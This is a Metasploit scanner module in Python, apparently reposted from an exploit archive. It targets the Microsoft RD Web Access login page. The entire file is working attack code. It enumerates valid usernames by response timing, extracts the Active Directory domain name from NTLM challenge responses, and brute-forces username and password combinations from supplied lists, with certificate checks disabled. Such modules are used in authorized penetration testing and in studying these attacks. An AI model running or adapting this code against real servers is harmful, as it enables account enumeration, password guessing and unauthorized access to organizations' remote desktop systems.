Share
## https://sploitus.com/exploit?id=PACKETSTORM:161568
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
  
# standard modules  
from metasploit import module  
  
# extra modules  
DEPENDENCIES_MISSING = False  
try:  
import base64  
import itertools  
import os  
import requests  
except ImportError:  
DEPENDENCIES_MISSING = True  
  
  
# Metasploit Metadata  
metadata = {  
'name': 'Microsoft RDP Web Client Login Enumeration',  
'description': '''  
Enumerate valid usernames and passwords against a Microsoft RDP Web Client  
by attempting authentication and performing a timing based check  
against the provided username.  
''',  
'authors': [  
'Matthew Dunn'  
],  
'date': '2020-12-23',  
'license': 'MSF_LICENSE',  
'references': [  
{'type': 'url', 'ref': 'https://raxis.com/blog/rd-web-access-vulnerability'},  
],  
'type': 'single_scanner',  
'options': {  
'targeturi': {'type': 'string',  
'description': 'The base path to the RDP Web Client install',  
'required': True, 'default': '/RDWeb/Pages/en-US/login.aspx'},  
'rport': {'type': 'port', 'description': 'Port to target',  
'required': True, 'default': 443},  
'domain': {'type': 'string', 'description': 'The target AD domain',  
'required': False, 'default': None},  
'username': {'type': 'string',  
'description': 'The username to verify or path to a file of usernames',  
'required': True, 'default': None},  
'password': {'type': 'string',  
'description': 'The password to try or path to a file of passwords',  
'required': False, 'default': None},  
'timeout': {'type': 'int',  
'description': 'Response timeout in milliseconds to consider username invalid',  
'required': True, 'default': 1250},  
'enum_domain': {'type': 'bool',  
'description': 'Automatically enumerate AD domain using NTLM',  
'required': False, 'default': True},  
'verify_service': {'type': 'bool',  
'description': 'Verify the service is up before performing login scan',  
'required': False, 'default': True},  
'user_agent': {'type': 'string',  
'description': 'User Agent string to use, defaults to Firefox',  
'required': False,  
'default': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}  
}  
}  
  
  
def verify_service(rhost, rport, targeturi, timeout, user_agent):  
"""Verify the service is up at the target URI within the specified timeout"""  
url = f'https://{rhost}:{rport}/{targeturi}'  
headers = {'Host':rhost,  
'User-Agent': user_agent}  
try:  
request = requests.get(url, headers=headers, timeout=(timeout / 1000),  
verify=False, allow_redirects=False)  
return request.status_code == 200 and 'RDWeb' in request.text  
except requests.exceptions.Timeout:  
return False  
except Exception as exc:  
module.log(str(exc), level='error')  
return False  
  
  
def get_ad_domain(rhost, rport, user_agent):  
"""Retrieve the NTLM domain out of a specific challenge/response"""  
domain_urls = ['aspnet_client', 'Autodiscover', 'ecp', 'EWS', 'OAB',  
'Microsoft-Server-ActiveSync', 'PowerShell', 'rpc']  
headers = {'Authorization': 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==',  
'User-Agent': user_agent,  
'Host': rhost}  
session = requests.Session()  
for url in domain_urls:  
target_url = f"https://{rhost}:{rport}/{url}"  
request = session.get(target_url, headers=headers, verify=False)  
# Decode the provided NTLM Response to strip out the domain name  
if request.status_code == 401 and 'WWW-Authenticate' in request.headers and \  
'NTLM' in request.headers['WWW-Authenticate']:  
domain_hash = request.headers['WWW-Authenticate'].split('NTLM ')[1].split(',')[0]  
domain = base64.b64decode(bytes(domain_hash,  
'utf-8')).replace(b'\x00',b'').split(b'\n')[1]  
domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8')  
module.log(f'Found Domain: {domain}', level='good')  
return domain  
module.log('Failed to find Domain', level='error')  
return None  
  
  
def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent):  
"""Check a single login against the RDWeb Client  
The timeout is used to specify the amount of milliseconds where a  
response should consider the username invalid."""  
  
url = f'https://{rhost}:{rport}/{targeturi}'  
body = f'DomainUserName={domain}%5C{username}&UserPass={password}'  
headers = {'Host':rhost,  
'User-Agent': user_agent,  
'Content-Type': 'application/x-www-form-urlencoded',  
'Content-Length': f'{len(body)}',  
'Origin': f'https://{rhost}'}  
session = requests.Session()  
report_data = {'domain':domain, 'address': rhost, 'port': rport,  
'protocol': 'tcp', 'service_name':'RDWeb'}  
try:  
request = session.post(url, data=body, headers=headers,  
timeout=(timeout / 1000), verify=False, allow_redirects=False)  
if request.status_code == 302:  
module.log(f'Login {domain}\\{username}:{password} is valid!', level='good')  
module.report_correct_password(username, password, **report_data)  
elif request.status_code == 200:  
module.log(f'Password {password} is invalid but {domain}\\{username} is valid! Response received in {request.elapsed.microseconds / 1000} milliseconds',  
level='good')  
module.report_valid_username(username, **report_data)  
else:  
module.log(f'Received unknown response with status code: {request.status_code}')  
except requests.exceptions.Timeout:  
module.log(f'Login {domain}\\{username}:{password} is invalid! No response received in {timeout} milliseconds',  
level='error')  
except requests.exceptions.RequestException as exc:  
module.log('{}'.format(exc), level='error')  
return  
  
  
def check_logins(rhost, rport, targeturi, domain, usernames, passwords, timeout, user_agent):  
"""Check each username and password combination"""  
for (username, password) in list(itertools.product(usernames, passwords)):  
check_login(rhost, rport, targeturi, domain,  
username.strip(), password.strip(), timeout, user_agent)  
  
def run(args):  
"""Run the module, gathering the domain if desired and verifying usernames and passwords"""  
module.LogHandler.setup(msg_prefix='{} - '.format(args['RHOSTS']))  
if DEPENDENCIES_MISSING:  
module.log('Module dependencies are missing, cannot continue', level='error')  
return  
  
user_agent = args['user_agent']  
# Verify the service is up if requested  
if args['verify_service']:  
service_verified = verify_service(args['RHOSTS'], args['rport'],  
args['targeturi'], int(args['timeout']), user_agent)  
if service_verified:  
module.log('Service is up, beginning scan...', level='good')  
else:  
module.log(f'Service appears to be down, no response in {args["timeout"]} milliseconds',  
level='error')  
return  
  
# Gather AD Domain either from args or enumeration  
domain = args['domain'] if 'domain' in args else None  
if not domain and args['enum_domain']:  
domain = get_ad_domain(args['RHOSTS'], args['rport'], user_agent)  
  
# Verify we have a proper domain  
if not domain:  
module.log('Either domain or enum_domain must be set to continue, aborting...',  
level='error')  
return  
  
# Gather usernames and passwords for enumeration  
if os.path.isfile(args['username']):  
with open(args['username'], 'r') as file_contents:  
usernames = file_contents.readlines()  
else:  
usernames = [args['username']]  
if 'password' in args and os.path.isfile(args['password']):  
with open(args['password'], 'r') as file_contents:  
passwords = file_contents.readlines()  
elif 'password' in args and args['password']:  
passwords = [args['password']]  
else:  
passwords = ['wrong']  
# Check each valid login combination  
check_logins(args['RHOSTS'], args['rport'], args['targeturi'],  
domain, usernames, passwords, int(args['timeout']), user_agent)  
  
if __name__ == '__main__':  
module.run(metadata, run)